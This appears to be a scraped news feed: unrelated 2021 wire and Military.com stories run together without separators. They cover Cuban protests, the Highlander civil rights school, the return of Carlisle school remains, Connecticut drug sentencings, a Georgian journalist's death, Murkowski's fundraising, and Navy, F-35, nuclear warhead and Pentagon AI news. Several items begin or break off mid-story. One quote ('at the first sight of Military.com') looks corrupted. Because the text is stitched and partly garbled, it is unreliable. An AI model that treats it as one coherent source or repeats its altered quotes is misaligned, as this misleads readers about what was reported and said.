Miller added that while the $2,500 given may seem like a token gesture, it is important in the process of potentially getting Federal Emergency Management Agency money in the area. The fact that Huron County was put together with other Michigan counties as part of Gov. Gretchen Whitmers state of emergency declaration makes the county more eligible.
HAVANA (AP)  Cuban authorities confirmed Tuesday that one person has died during demonstrations that have shaken the island in recent days by protesting over food shortages, high prices and other grievances against the government.

The Interior Ministry said in a statement that Diubis Laurencio Tejeda, 36, died Monday during a clash between protesters and police in the Arroyo Naranjo municipality on the outskirts of Havana. It said an unspecified number of people were arrested and there were some people injured, including some officers.

The statement accused demonstrators of vandalizing houses, setting fires and damaging power lines. It also alleged they attacked police and civilians with knives, stones and other objects..

Demonstrations that erupted Sunday have seen thousands of Cubans in the streets voicing grievances against shortages of goods, rising prices and power cuts, and some protesters have called for a change of government.

Havana still had a heavy police presence Tuesday, with officers particularly guarding key points such as the Malecon coastal promenade and the Capitol. Internet and cellphone data service continued to be disrupted.

There were no reports of new protests, which the government has sought to blame on Cuban Americans using social media to instigate unrest in Cuba.

The demonstrations in several cities and towns were some of the biggest displays of antigovernment sentiment seen in years in tightly controlled Cuba, which is facing a surge of coronavirus cases as it struggles with its worst economic crisis in decades as a consequence of U.S. sanctions imposed by President Donald Trumps administration.

The rare outpouring of dissent led former President Raul Castro to join with other top leaders Monday to discuss the situation.

On July 11, there were riots, there were disorders on a very limited scale, opportunistically taking advantage of the difficult conditions in which we Cubans are living today, Foreign Minister Bruno Rodriguez said Tuesday, adding that government experts had found evidence of outsiders using sophisticated equipment to widely broadcast alarmist and inciting messages over social media.

But, Rodriguez said, On July 11, there was no social explosion in Cuba. There was not because of the will of our people and because of the support of our people for the revolution and its government."

Cuba's Roman Catholic bishops issued a call to avoid violence.

We understand that the government has responsibilities and has tried to take measures to alleviate the aforementioned difficulties, but we also understand that the people have the right to express their needs, desires and hopes, they said in a statement.

The demonstrations were extremely unusual on an island where little dissent against the government is tolerated. The last major public demonstration of discontent, over economic hardship, took place nearly 30 years ago in 1994. Last year, there were small demonstrations by artists and other groups, but nothing as big or widespread as what erupted this past weekend.

The U.S. has, so far at least, not detected any surge of migrants from Cuba, Homeland Security Secretary Alejandro Mayorkas told reporters in Washington on Tuesday.

He also cautioned Cubans that any migrants intercepted at sea are returned to their homelands or sent to other countries under long-standing agreements intended to discourage people from trying to make the dangerous crossing.

The humanitarian message to the people of Cuba is do not take to the seas, Mayorkas said. People die when they try to migrate in the maritime channel irregularly.

The issue of Cuban migration in opposition to the government resonates with Mayorkas, whose family fled the Cuban revolution in the 1960s.

I understood what it meant for my father to lose everything that he had built for his young family, he said. We stand with the people of Cuba.
Ned Gerard / Hearst Connecticut Media

HARTFORD  A city man will spend more than two years in prison for selling cocaine and marijuana while on supervised release, federal prosecutors said Tuesday.

Michael Ledbetter, 30, was sentenced by Judge Stefan R. Underhill in Bridgeport federal court to 27 months in jail, followed by three years of supervised release.
(The Conversation is an independent and nonprofit source of news, analysis and commentary from academic experts.)

Jelani M. Favors, Clayton State University

(THE CONVERSATION) During this period of racial reckoning, many Americans are seeking to make the United States more equitable and just. Many new organizations and coalitions are arising out of a new wave of engagement, but they dont need to start from scratch.

The Highlander Research and Education Center, a training ground for civil rights activists founded nearly 90 years ago, offers a useful model. As a social movement historian, I am intimately familiar with how this school and similar engines of grassroots engagement have transformed Americas social and political landscape by inspiring generations of leaders seeking to end institutional racism.

Located outside of Knoxville in the eastern Tennessee mountains, Highlander is among the hundreds of organizations that the billionaire philanthropist and author MacKenzie Scott has funded to combat systemic inequity. Its also playing a critical role in attracting and distributing philanthropic support to lesser-known Southern grassroots organizations.

Together with Southerners on New Ground, another activist training group, it helped launch the Southern Power Fund in 2020. The initiative had raised US$14 million by mid-2021 to make it easier for grassroots organizations to address local needs with no-strings-attached grants.

Myles Horton vs. the color line

Highlander was the brainchild of Myles Horton, a white Southerner who grew up under the crushing weight of poverty in rural Tennessee in the early 20th century. As his parents scratched out a living doing odd jobs, Horton grew increasingly bitter regarding the social and economic system that produced such stark contrasts between the privileged few and the struggling masses. He also became an avid reader.

During the Great Depression, Horton went to graduate school at Union Theological Seminary in New York and the University of Chicago.

There, he was mentored by John Dewey, a philosopher who believed in the need for education aimed at correcting unfair privilege and unfair deprivation. American social movements at that time, when the nations economic and racial divisions were becoming deeper, were intensifying their critiques concerning the wealth gap and the color line that violently threatened and undermined the lives of millions of African Americans.

Subsequently, Horton founded the Highlander Folk School in 1932. Nestled in the tiny backwoods town of Monteagle, Tennessee, it aimed to educate rural and industrial leaders for a new social order.

For Horton, the economic crisis was the perfect moment to achieve the unthinkable: bridging the color line to create synergy between Black and white Southerners. Within Highlanders welcoming walls and in its outdoor classes, segregation or any pretense of hierarchy was nonexistent.

Groups of Southern labor organizers and civil rights activists would gather at Highlander to read and discuss. Its library was stocked with books by progressive intellectuals, including not just Dewey but the theologian Reinhold Niebuhr and the educator and activist George S. Counts.

Participants would learn even more from their community-building. Horton sought to create a space where people of all backgrounds could be exposed to history and literature that enlightened them about their common struggles. Highlander also fostered the creation of music and art that built communion and solidarity, while inculcating the radical notion among trainees that they could transcend racial and class divisions.

In sharing a common space for an extended period, participants in Highlanders training program could begin to build a truly democratic society as a circle of learners.

Empowering civil rights leaders

Todays training center is the successor to Hortons original civil rights movement incubator. In 1957, Martin Luther King Jr. praised Highlanders noble purpose and creative work with having given the South some of its most responsible leaders.

Four months before her historic act of dissent against Montgomerys segregated buses, for example, Rosa Parks attended a Highlander workshop on one of several trips she would make there.

And as student sit-ins rocked Americas social and political foundations in the spring of 1960, it was Highlander that served as a retreat for many of the Nashville students, including John Lewis, the future congressman.

Because of unrelenting attacks by prejudiced politicians who alleged that Highlander was spreading communism, Tennessee authorities forced the schools closure and revoked its charter in 1961. The staff then reincorporated as the Highlander Research and Education Center and moved, first to Knoxville and then to New Market, a small town about 25 miles away.

Under its barely changed name, the nonprofit school would keep forging some of the most unlikely coalitions at the height of the Jim Crow South and beyond.

Septima Clark

One of Hortons most influential hires was a South Carolina schoolteacher named Septima Clark. A graduate of two historically Black colleges, she first arrived in 1954 out of curiosity because she wanted to see for herself the one place she had heard of where blacks and whites could meet together and talk over the problems that defined the Jim Crow South.

She returned a year later after being fired from her teaching job in Charleston for belonging to the NAACP. At Highlander, Clark developed and led workshops on leadership. Parks was among her first students, six months before an eventful act of dissent aboard a bus in Montgomery.

Clark became a full-time staffer in 1956. She later implemented her Highlander lesson plans in what she referred to as Citizenship Schools in Johns Island, South Carolina.

Hortons and Clarks methods of empowering and training local folks in political literacy became staples of organizations such as the Student Nonviolent Coordinating Committee, or SNCC.

SNCC later emulated the concept of Clarks Citizenship Schools during the Freedom Summer campaign of 1964, which sought to register scores of Black voters who had been barred from registering in Mississippi  under the threat of white terrorism as well as Jim Crow laws.

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SNCC activists also created Freedom Schools throughout the Mississippi Delta region that exposed Black residents to an education that most had been deprived of as impoverished sharecroppers.

Building new coalitions

After the schools organizers relocated, twice under its new name, Highlander redoubled its efforts to address systemic poverty. In recent years, while upholding its original mission, Highlander has begun to tackle issues such as environmental racism, xenophobia and human rights abuses while advocating for intergenerational and multicultural coalition-building.

Tragically, there are those who still regard such efforts as a threat.

The Highlander Research and Education Centers main office building in New Market, Tennessee, burned down in 2019. The subsequent identification of a white power symbol raised suspicions of arson, but the case apparently remains under investigation.

Although the blaze engulfed the building, it didnt raze the spirit and mission of the center that in my view has served as a citadel for democracy and justice.

This article is republished from The Conversation under a Creative Commons license. Read the original article here: https://theconversation.com/from-the-labor-struggles-of-the-1930s-to-the-racial-reckoning-of-the-2020s-the-highlander-school-has-sought-to-make-america-more-equitable-161334.
CARLISLE, Pa. (AP)  The disinterred remains of nine Native American children who died more than a century ago while attending a government-run school in Pennsylvania were headed home to Rosebud Sioux tribal lands in South Dakota on Wednesday after a ceremony returning them to relatives.

The handoff at a graveyard on the grounds of the U.S. Army's Carlisle Barracks was part of the fourth set of transfers to take place since 2017. The remains of an Alaskan Aleut child were returned to her tribe earlier this summer.

We want our children home no matter how long it takes, said U.S. Interior Secretary Deb Haaland, who in June announced a nationwide investigation into the boarding schools that attempted to assimilate Indigenous children into white society.

Haaland, the first Native American to serve as a Cabinet secretary, said at the event that forced assimilation practices" stripped away the children's clothing, their language and their culture. She said the government aims to locate the schools and burial sites and identify the names and tribal affiliations of children from the boarding schools around the country.

Nearly a thousand unmarked graves have been discovered in recent months at former residential school sites for Indigenous children in Canada.

In Pennsylvania, the nine sets of remains inside small wooden coffins were carried past a phalanx of tribal members and well-wishers before being loaded into a vehicle trailer to be driven to Sioux City, Iowa. The children died between 1880 and 1910.

Ione Quigley, the tribes historic preservation officer, recounted how she attended the disinterment earlier this week and used red ochre to prepare the remains in a traditional way.

We got everything done as respectfully and honorably as possible, Quigley said.

Russell Eagle Bear, a Rosebud Sioux tribal council representative, said a lodge was being prepared for a Friday ceremony at a Missouri River landing near Sioux City where children boarded a steamboat for the journey to the government-run Carlisle Indian Industrial School.

The Carlisle school, founded by an Army officer, took drastic steps to separate Native American students from their culture, including cutting their braids, dressing them in military-style uniforms and punishing them for speaking their native languages. They were forced to adopt European names.

More than 10,000 Native American children were taught there and endured harsh conditions that sometimes led to death from such diseases as tuberculosis.

Eagle Bear said children from the tribe endured ridicule along the trip to Carlisle in 1879, three years after the Battle of the Little Bighorn.

Tribal officials said that when the remains arrive in South Dakota, some will be buried in a veterans cemetery and others are destined for family graveyards.

We're here today and we are going to take our children home, Eagle Bear said to about 100 attendees on Wednesday. We have a big homecoming on the other end.

Since August 2017, the Army has disinterred 22 remains of Native American children from the cemetery, including the 10 that occurred this year. In previous years, remains were turned over to the Northern Arapaho, Blackfeet, Oglala Sioux, Oneida, Omaha, Modoc and Iowa tribes.
MERIDEN  A man most recently living in Meriden was sentenced Tuesday to spend four years in prison for selling kilogram-quantities of heroin in the area, according to federal prosecutors.

Judge Janet Bond Arterton sentenced 58-year-old Jesus Gomez, a citizen of Mexico with a last known address in Meriden, to 48 months incarceration.

Gomez pleaded guilty on Jan. 22 to conspiracy to distribute and to possess with intent to distribute 100 grams or more of heroin.

The Drug Enforcement Administrations Bridgeport High Intensity Drug Trafficking Area Task Force learned in 2019 that Gomez and Abisael Perez, a resident of the Bronx, N.Y., were distributing multi-kilogram quantities of heroin in the Meriden area, authorities said.

In November of that year, investigators set up a controlled buy of 50 grams of heroin from Gomez and Perez. After that, investigators set up a meeting to buy two kilograms of heroin from Gomez and Perez, authorities said.

On Nov. 17, 2019, investigators saw Gomez, Perez and Heriberto Borrero, of Meriden, meet at a construction site in Berlin. As the men drove away from the site, Berlin police stopped their car. Authorities said a search of the vehicle, which was driven by Perez, led investigators to two packages of about two kilograms of heroin.

Police took all three into custody.

Gomez has been detained since his November 2019 arrest.

In 2012, authorities said Gomez was arrested by immigration officials in Connecticut. In March 2014, he was sent to Mexico. Authorities said Gomez illegally returned to the U.S. three months later and was again sent back to Mexico. He again returned to the U.S. and was living under an assumed identity.

Perez and Borrero also pleaded guilty to charges in connection with this investigation. On March 16, Perez was sentenced to 60 months in prison. On April 20, Borrero was sentenced to three year probation and 100 hours of community service.
TBILISI, Georgia (AP)  Several thousand people protested in front of the Georgian parliament on Sunday evening, demanding that the ex-Soviet nation's prime minister resign over the death of a journalist who was attacked and beaten by anti-LGBT protesters.

Cameraman Alexander Lashkarava was found dead in his home by his mother earlier Sunday, according to the TV Pirveli channel he worked for. Lashkarava was one of several dozen journalists attacked last Monday by opponents of an LGBT march that had been scheduled to take place that day in the Georgian capital of Tbilisi.

Organizers of the Tbilisi March For Dignity cancelled the event, saying authorities had not provided adequate security guarantees. Opponents of the march blocked off the capitals main avenue, denounced journalists covering the protest as pro-LGBT propagandists and threw sticks and bottles at them.

Lashkarava, according to his colleague Miranda Baghaturia, was beaten by a mob of 20 people. Local TV channels later showed him with bruises on his face and blood on the floor around him. Media reports say he sustained multiple injuries and had to undergo surgery but was discharged from a hospital on Thursday.

The cause of his death was not immediately clear.

Police launched an investigation into Lashkarava's death, which Georgia's Prime Minister Irakli Garibashvili and President Salome Zurabishvili both described as "a tragedy."

Animosity against sexual minorities is strong in the conservative Black Sea nation of Georgia.

The Tbilisi Pride group said Monday that opponents of the planned march were supported by the government and by the Georgian Orthodox Church. The Open Caucasus Media group published a photo of a man it said was a local TV journalist being pulled away from the scene in a headlock by an Orthodox priest.

Zurabishvili condemned the violence, but Garibashvili alleged the march was organized by radical opposition forces that he claimed were led by exiled former President Mikheil Saakashvili.

A large crowd of protesters that gathered in Tbilisi on Sunday demanded that authorities punish those responsible for the attack on journalists and urged Garibashvili to step down. Some protesters blamed the prime minister for enabling the violence by publicly denouncing the LGBT march.
Venice, FL (34285)

Today

Isolated thunderstorms in the morning, then partly cloudy late. High 87F. Winds S at 5 to 10 mph. Chance of rain 30%..

Tonight

Cloudy skies early, then partly cloudy after midnight. A stray shower or thunderstorm is possible. Low 76F. Winds ENE at 5 to 10 mph.
JUNEAU, Alaska (AP)  Sen. Lisa Murkowski hasn't officially announced if she will run again next year, but her campaign released fundraising details Wednesday that an adviser says strongly positions the Alaska Republican for a reelection bid.

Kevin Sweeney, a consultant to the campaign who ran Murkowski's comeback 2010 write-in bid, said Murkowski's focus is on her work in Washington. But he told The Associated Press that the fundraising shows Murkowski also is doing the work to make sure that she's positioned for reelection, when that time comes.

Murkowskis campaign released top-line numbers but Sweeney was not immediately able to provide a copy of the four-page summary of the report that also gets filed with the Federal Election Commission.

The campaign said Murkowski had raised $1.15 million in the second quarter, which ended June 30, and had about $2.3 million on hand.

Wednesdays campaign statement comes ahead of a filing deadline and days after Republican Party leaders in Alaska endorsed Kelly Tshibaka, a former state Department of Administration commissioner. Murkowski, who has a reputation as a moderate, has at times been at odds with party leaders on issues such as abortion and in her criticism of former President Donald Trump.

Tshibaka, in a statement after the vote by party leaders, said she was grateful and thrilled to have the support.

I have pledged that I will be true to our shared, conservative Alaska ideals and be a senator upon whom they can depend to make every decision based on what is best for our great state, she said.

Murkowski said she has "and will continue to fight for Alaskan values in the U.S. Senate. Alaskan voters will decide who represents them in DC and I work every day to earn their support.

Tshibaka's campaign in a statement said she has raised more than $750,000 since announcing her candidacy on March 29 and it emphasized support from small donors. Tshibaka in her first quarter report disclosed raising about $215,000 as of March 31.

Tim Murtaugh, who is working on Tshibakas campaign, noted the second quarter filing deadline is Thursday.

Tshibaka has highlighted on her campaign site interviews on conservative national networks and recently announced an endorsement from Trump.

Murkowski was one of seven Republican senators who voted to convict Trump during a Senate impeachment trial earlier this year. Trump was acquitted of a charge of incitement of insurrection related to the Jan. 6 U.S. Capitol riot.

Murkowski was appointed to the U.S. Senate in late 2002 by her father, then-Gov. Frank Murkowski, a fact that still rankles some residents. She was elected to her first six-year term in 2004.

Murkowski lost her 2010 Republican primary to tea party favorite Joe Miller but won the general election with a write-in campaign. In a crowded 2016 general election field that included Miller running as a Libertarian, Murkowski won with 44% of the vote.

Alaska voters last year approved sweeping changes to the state's election process that would end party primaries and implement ranked-choice voting in general elections. Under the new system, the top four vote getters in the primary, regardless of party, advance to the general election.

The system is set to take effect for next year's races. It's currently being challenged in court.
A new report on Navy readiness, commissioned by a group of conservative lawmakers, is pushing a set of long-standing problems facing the service to the forefront in the halls of Congress and the Pentagon.

The report was authored by two retired senior officers, Marine Lt. Gen. Robert Schmidle and Rear Adm. Mark Montgomery, and is based on interviews with 77 sailors -- mostly officers with significant time at sea, according to a statement from the office of Sen. Tom Cotton, R-Ark.

The report charges that the Navy doesn't focus on warfighting, isn't investing enough in training or ship maintenance, and has a problematic culture of micromanagement and zero tolerance for mistakes.

Read Next: National Guard Rescues US Service Member Left Behind by Hiking Party on Guam

Candid remarks from interviewees are helping drive attention to the Navy's problems.

An intelligence officer told interviewers: "[Admirals] are supposed to lead us into battle but they hide in foxholes at the first sight of Military.com."

He added, "The reporters are in charge, not us."

"Sometimes I think we care more about whether we have enough diversity officers than if we'll survive a fight with the Chinese navy," lamented one officer in the report who was described as a "lieutenant currently on active duty."

Cotton made the report the focus of his questions for the nominee to be the next secretary of the Navy, Carlos Del Toro, at his confirmation hearing Tuesday.

"The Navy promotes skills and office chores instead of operational excellence and ... this crushing bureaucratic blow too often chases out good officers and NCOs," Cotton said.

However, many of the issues raised by the document are not new to the Navy, experts or even one of the report's authors.

Montgomery said in an interview with Military.com that the report "is consistent with some existing reports" and specifically cited "the 2021, 2019, 2017 Government Accounting Office reports on Surface Warfare readiness."

"Every mid-grade to senior-grade surface Navy person knew we had these challenges," he added.

A congressional staffer told Military.com that "the themes they outlined are broadly consistent with what I've just been hearing and observing and learning over the last three or four years just interacting with naval officers on a day-to-day basis."

Lt. Cmdr. Patricia Kreuzberger, a Navy spokeswoman, said in a statement that the service "welcome[s] the insights and report findings, many of which are consistent with areas we have addressed and taken action on."

Montgomery argues that what is unique in the report are the responses that say the lack of training investment in surface warfare and "inconsistent maintenance programs and modernization programs ... made it very hard to maintain a focus on warfighting."

If the investment comes, Montgomery noted that the Navy also needs to make sure to keep the changes it makes in place. "Does it survive the first one-star changeover?" he said.

The report and Montgomery also argue for a congressional report card on the Navy's maintenance to encourage senior leaders to think twice about extending deployments.

"The next time they bring the secretary of defense a request for an extension, he says: 'Wait a minute,'" Montgomery said.

Other aspects of the report, which claims to be non-partisan, echo some of the ongoing criticism leveled against the military by conservative lawmakers and commentators who have been decrying DoD programs and efforts aimed at improving diversity and inclusion, accommodating women, or rooting out extremists in the ranks as political correctness or "wokeness" run amok.

"Renew the Navy's noble tradition of remaining out of politics," the report recommends. It also suggests the service "limit social media accounts and activities by Navy officials" and "remove all political and sociological topics from Professional Military Education and replace them with essential warfighting courseware."

Aside from Cotton, the report was commissioned by Reps. Jim Banks, R-Ind.; Dan Crenshaw, R-Texas; and Mike Gallagher, R-Wis.

Montgomery pushed back on the notion that the report was somehow partisan and pointed out that the interviews were scheduled more than a year ago.

"I think the person who will most benefit from this report is Carlos Del Toro," he explained. "I'm excited about him being secretary of the Navy."

However, a lack of transparency in how the interviews were conducted was concerning to the congressional staffer who spoke with Military.com. "What was the selection process? Was it randomized or were these guys sort of self-selected?"

Some observers also have noted that criticism of Navy leadership and culture rings hollow since the service continues to punish officers and senior enlisted personnel for their ties to the massive corruption scandal with Glenn Defense Marine Asia, more commonly known as the "Fat Leonard'' scandal.

The ordeal, which goes back almost a decade, has resulted in bribery and fraud charges against several high-ranking officers and senior enlisted sailors, as well as letters of reprimand and censures. Montgomery himself was censured for his role in the affair, though he defended the report by noting that neither he nor his co-author actually conducted the "raw data" interviews and both men "agreed on every point together."

When asked about the report Monday, Pentagon Press Secretary John Kirby reiterated that the Navy is interested in hearing feedback.

"One of the things that makes us so great is that we're willing to do -- no pun intended -- a little navel gazing and we're self-aware of issues that we need to be improved upon," he said.

"I do think the secretary of defense can do something; I think the Secretary of the Navy can do something," Montgomery said. "And I think Congress can kind of force it."

-- Konstantin Toropin can be reached at konstantin.toropin@military.com. Follow him on Twitter @ktoropin.

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Former President George W. Bush said in an interview released Wednesday that he thinks the decision to withdraw U.S. troops from Afghanistan is a mistake that will ultimately hurt the Afghan people.

"I'm afraid Afghan women and girls are going to suffer unspeakable harm," he said in a lengthy interview with the German public broadcasting service DW posted online.

When asked whether the withdrawal is a mistake, Bush said, "I think it is, yeah," adding that he's saddened contemplating what will come next.

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"I think the consequences are going to be unbelievably bad," he said. "[Former first lady Laura Bush] and I spent a lot of time with Afghan women, and they're scared."

President Joe Biden announced plans in April to pull all remaining troops from Afghanistan by the 20th anniversary of the 9/11 attacks. The process is ahead of schedule. Biden told reporters at the White House on July 8 that the American withdrawal -- which the military says is now 95% complete -- will be completed by the end of August.

Former President Donald Trump had also long pushed to withdraw troops from Afghanistan. His administration reached a peace agreement with the Taliban in February 2020, and he attempted to withdraw nearly all troops from Afghanistan before his term in office concluded, drastically cutting the US footprint during his tenure. At the time Bush didnt comment about Trumps intended withdrawal.

Bush also raised concerns to DW about thousands of Afghans who served as interpreters and in other jobs for the U.S. and NATO allies, and are now at risk of violent reprisal from the Taliban.

"It seems like they're just going to be left behind to be slaughtered by these very brutal people," he said. "It breaks my heart."

But the White House said Wednesday it plans to begin evacuating eligible Afghans who worked for the U.S., if they are interested, beginning the last week of July as part of Operation Allies Refuge.

Exact details on how this evacuation will take place are unclear. White House Press Secretary Jen Psaki declined to outline where the Afghans will go or other details in a news conference Wednesday, citing operational security concerns.

-- Stephen Losey can be reached at stephen.losey@military.com. Follow him on Twitter @StephenLosey.

Related: How President George W. Bush Consoled Wounded Warriors and Their Families
The first new nuclear warhead that is slated to improve the Navy's Trident II D5 Submarine-Launched Ballistic Missile has finally rolled off the production line, according to a statement released Tuesday. The announcement comes more than a year late, after issues with a minor component caused delays and massive cost overruns.

The unit, called W88 Alt 370, is an update to the original W88 warhead, which has been in service since late 1988. The Department of Energy's National Nuclear Security Administration, or NNSA, noted that the project represents "more than 11 years of design, development, qualification, and component production."

This project is just one of many that are underway to modernize America's nuclear triad -- the three-pronged system consisting of strategic bombers, intercontinental ballistic missiles and submarine-launched ballistic missiles. The endeavor is scheduled to cost billions of dollars over the next two decades and has prompted some military leaders to re-examine the necessity of the long-standing system.

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The new warhead was designed to address aging issues with the original and replaced many internal components, including the parts responsible for triggering it, according to a prior statement on the program.

However, in September 2019, an NNSA official told Congress that an issue with a $5 electrical component would cause an 18-month delay to the program and cost millions to fix.

Charles Verdon, then-deputy administrator for defense programs at the NNSA, explained that the program initially went with off-the-shelf $5 capacitors for the new warheads, but they failed stress testing. He said the replacements would cost $75.

As a result, the first unit was completed earlier this month, not December 2019, as the agency planned in 2016.

However, NNSA officials seemed to ignore the delay and the technical issues the program encountered in their praise of the milestone.

Verdon, now the acting NNSA administrator, called the news "an impressive achievement" in a statement.

NNSA's federal program manager for the project, Jay Pape, said in a statement, "The W88 Alt 370 program continues to demonstrate that NNSA can execute our warhead modernization activities and fulfill our commitment to the U.S. Navy."

Verdon added that, as the agency continues to modernize the W88 warheads, "The successes and lessons learned from this program will bolster our future warhead activities to provide a safe, secure, and reliable deterrent."

The agency said that it "is prepared to ramp up production operations in support of the warhead program."

The current W88 warhead is deployed aboard the Navy's 14 Ohio-class ballistic missile submarines, which also are nearing the end of their operational life. The Navy is replacing them with at least 12 new Columbia-class submarines, the first of which is expected to be delivered in fiscal 2027.

-- Konstantin Toropin can be reached at konstantin.toropin@military.com. Follow him on Twitter @ktoropin.

Related: Navy Awards $9.47 Billion to Start New Class of Nuclear Submarine
Defense Secretary Lloyd Austin on Tuesday spelled out the Pentagon's plan for using artificial intelligence, or AI, to deter or fight wars -- but pledged that the military will fix or pull the plug on any system that gets out of line.

"We're going to immediately adjust, improve or even disable AI systems that arent behaving the way that we intend," Austin said in a speech at the National Security Commission on Artificial Intelligence's summit on global emerging technology in Washington, D.C.

Austin said that the Pentagon now has more than 600 AI projects in the works, "significantly more than just a year ago." The Defense Advanced Research Projects Agency, which has a long track record in such research, alone has more than 60 programs using AI, including systems that find and fix cybersecurity weaknesses.

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"And we're just getting started," Austin said.

The Pentagon plans to invest almost $1.5 billion in its Joint Artificial Intelligence Center to speed up the military's adoption of AI, he added.

Austin said that adopting AI will not change America's adherence to the laws of war and democratic principles.

He referenced a set of principles for responsible AI, originally drafted by an outside advisory board, that the Pentagon adopted in 2020. Those guidelines provide general concepts about AI, but don't include specific rules as to how it might be used in weapons systems. Senior Pentagon officials repeatedly have declined to agree to any kind of restrictions on AI decision-making even in areas like lethal action.

Officials have argued that any constraints might harm the U.S.' ability to keep up with rivals who are rapidly advancing their own use of AI in weapons.

Austin added that the military will watch for unintended consequences or bias from AI systems and will act if they start acting in ways they shouldn't.

"We're not going to cut corners on safety, security or ethics," he said. "Our watchwords are responsibility and results. And we don't believe for a minute that we have to sacrifice one for the other."

Congress last September released a bipartisan report urging the military to redouble its efforts on adopting AI and autonomous systems, calling for a "Manhattan Project"-type initiative to do so. That report noted that China has set a goal of becoming the leading AI force in the world by 2030.

But the military's increasing interest in AI has also raised ethics concerns, especially when it comes to experiments with weapons systems that could decide on their own which humans to kill in combat. The United Nations in 2013 began considering whether such systems should be banned, a year after Human Rights Watch and other groups launched an effort called the Campaign to Stop Killer Robots.

Austin said that AI will be central to the military's strategy of "integrated deterrence," or using a combination of technology, strategy and capabilities to discourage potential adversaries from acting against the United States' interests.

AI will help the military make faster and better decisions, he said, work together across different domains, and get rid of old, outdated ways of doing business.

It's not just the U.S. military working to adopt AI, Austin said. China is as well, and plans to use it for missions including surveillance, cyberattacks and autonomous weapons.

Critics have argued that the speed of AI decision-making will make it increasingly difficult for humans to monitor and potentially override their actions.

But, Austin said, the military must do a lot better at recruiting, training and holding on to talented people -- particularly young people -- who have the skills needed to develop AI. He said the Defense Department must create new career paths and incentives for them and include tech skills as part of its basic training programs.

The military also must radically change how it thinks about technology, he said. Some troops spend their day struggling with "virtually obsolete" laptops that are woefully behind what is available to the average consumer. And there are many college graduates and new Ph.D. recipients who would never consider working for the military, he added.

-- Stephen Losey can be reached at stephen.losey@military.com. Follow him on Twitter @StephenLosey.

Related: Congress Wants a 'Manhattan Project' for Military Artificial Intelligence
Dozens of F-35 Joint Strike Fighters are down for engine repairs, top military officials disclosed Tuesday, as the services grapple with an engine shortage that has afflicted the Pentagon for more than a year.

Testifying before the House Subcommittee on Tactical Air and Land Forces, Air Force Lt. Gen. Eric Fick, who runs the F-35 program, disclosed that his service has been the hardest hit by the shortage.

As of July 8, the Air Force had 41 aircraft in what's known as "Mission Impaired Capability Awaiting Parts," or MICAP, status, for engines. That means the planes can't be used on missions until they're fixed. The service accepted its 283th F-35 in May.

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Fick said there are five other F-35s waiting for the repairs.

"I have three partner aircraft, I have one Marine Corps aircraft, and I have one U.S. Navy tail that are MICAP for an engine," he said during the hearing.

Some of those 46 aircraft are awaiting miscellaneous spare parts or are in need of upgraded F135 engine power modules, a component that improves the aircraft's thrust and performance, Fick said.

"We are also working closely with our industry and the Joint Strike Fighter organic engine heavy maintenance facility at Tinker Air Force Base [Oklahoma] on the depot repair recovery efforts," added Jay Stefany, acting assistant secretary of the Navy for research, development and acquisition. Tinker is home to the Oklahoma City-Air Logistics Complex, which oversees the repair work.

Those efforts include reducing the time jets sit in depot by adding more maintainer shifts to expedite the power module replacement, he said.

But some problems are related to a surface coating on the turbine blades that overheats, causing the blades to crack. A defense official first told Bloomberg News earlier this year that the engines require maintenance earlier than planned, taking them out of service sooner and exacerbating the shortage across the services.

Fick said Tuesday that there has been no setback in aircraft deliveries despite the engine shortage, adding that his office realized it was facing the problem early last year after repairs took longer than expected. The blade cracking presents an intricate issue, creating a backlog of aircraft needing attention, according to a report from Defense News.

As a direct impact of the engine shortage, Air Combat Command, which oversees fighter aircraft units, earlier this year decided to scale back its 2021 air show schedule for the F-35 to make sure the aircraft were available for deployments and training.

"There are two reasons -- COVID disruptions and [engine production] quality findings," Matthew Bromberg, president for military engines at Pratt & Whitney, a subsidiary of Raytheon Technologies, said in April.

He cited "COVID, Turkey, learning curve disruptions" as reasons the company needs to better manage its engine and spares production.

In 2019, the Pentagon officially booted Turkey from the F-35 program over its purchase of the Russian-made S-400 surface-to-air missile system; as a result, the Defense Department also began phasing it out of the supply chain.

Turkish industries produced roughly 1,000 parts for the F-35, including 188 associated with the engine, Bromberg said at the time.

A spokesman for Pratt & Whitney said the company has made significant progress in recent months to reduce the amount of time it takes to repair its engines and is on track to produce double the number of power modules than it did in all of 2020.

In an email sent to Military.com after this article's initial publication, the spokesman said that a lack of repair depot space is driving the delays, "NOT the reliability of the engine."

-- Editor's note: This story has been updated to include comments from Pratt & Whitney.

-- Oriana Pawlyk can be reached at oriana.pawlyk@military.com. Follow her on Twitter at @Oriana0214.

Related: Congress May Put the Kibosh on Buying Extra F-35 Fighter Jets
A massive, multinational exercise led by Australian and U.S. forces kicked off Wednesday.

On its surface, Talisman Sabre is a chance for more than 17,000 troops from the Australian and U.S. militaries, as well as forces from the United Kingdom, Canada, Japan, New Zealand and the Republic of Korea, to practice operating together. However, the exercise also comes at a challenging time in U.S.-China relations.

"Talisman Sabre is a major undertaking for all participants and demonstrates our capacity to achieve large-scale operational outcomes, while also dealing with a global pandemic," Maj. Gen. Jake Ellwood, commander of Australia's Deployable Joint Force Headquarters, said in a statement published by Australia's Department of Defence.

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Experts describe the biennial exercise as aiming to send a strong message to China about U.S. strength in the region and its close bonds with allies in the area.

This year, Talisman Sabre begins just days after Secretary of State Antony Blinken announced that the U.S. would continue to follow a Trump-era rejection of nearly all of China's significant maritime claims in the South China Sea and warned its leaders that any attack on the Philippines would provoke a U.S. response under a mutual defense treaty.

On July 13, just two days after Blinken's announcement, the destroyer Benfold conducted a freedom of navigation transit near the Paracel Islands -- territory China claims.

The Chinese military said it "drove away" the warship, according to a Reuters report. The Navy denied that, calling the claim "the latest in a long string of [People's Republic of China] actions to misrepresent lawful U.S. maritime operations and assert its excessive and illegitimate maritime claims" in a statement from Indo-Pacific Command.

Amid that backdrop, Talisman Sabre will conduct amphibious landings, ground force maneuvers, urban operations, and air combat and maritime operations.

The last time the exercise was held, U.S. Marines, Australian soldiers, and Japan's then-brand-new amphibious force carried out a mock beach raid, giving a glimpse into how the three countries could unite to defend contested islands in the Pacific.

The Australian announcement also notes that "a majority of these international forces will participate exclusively offshore, including about 5,000 who will participate as part of a US Navy Expeditionary Strike Group."

In addition to naval forces, the exercise will involve 40 aircraft from the Royal Australian Air Force.

Talisman Sabre will run until mid-August, but activities will peak from July 18-31, according to the Australian Department of Defence.

-- Konstantin Toropin can be reached at konstantin.toropin@military.com. Follow him on Twitter @ktoropin.

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The Biden administration's nominee to be the Pentagon's top weapons buyer has withdrawn his nomination.

